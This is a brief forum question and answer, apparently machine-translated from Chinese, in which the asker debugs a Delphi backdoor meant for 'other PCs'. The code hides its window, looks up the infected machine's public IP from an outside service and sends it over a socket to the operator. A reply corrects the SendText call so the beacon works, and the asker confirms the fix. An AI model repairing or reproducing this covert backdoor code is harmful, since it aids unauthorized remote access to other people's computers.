我为Delphi中的其他PC做了一个后门。它的IP不断变化,所以我让它在socket上发送我的IP。我做的程序,但得到
实际参数不够
错误。
它的代码:
var
MyPublicIP : string;
begin
Application.ShowMainForm := false;
MyPublicIP := IdHTTP1.Get('http://checkip.dyndns.com/');
cs.Socket.SendText := strToInt(MyPublicIP); // error in this piece of code
end;
如果我用cs.Socket.SendText
替换Label1.Caption
它的工作!
尝试cs.socket.sendtext(MyPublicIP);
好的,这对我有用:
var
MyPublicIP : string;
begin
Application.ShowMainForm := false;
MyPublicIP := IdHTTP1.Get('http://checkip.dyndns.com/');
cs.Socket.SendText(MyPublicIP);
end;
我替换了cs.Socket.SendText:= strToInt(MyPublicIP);至
cs.Socket.SendText(MyPublicIP);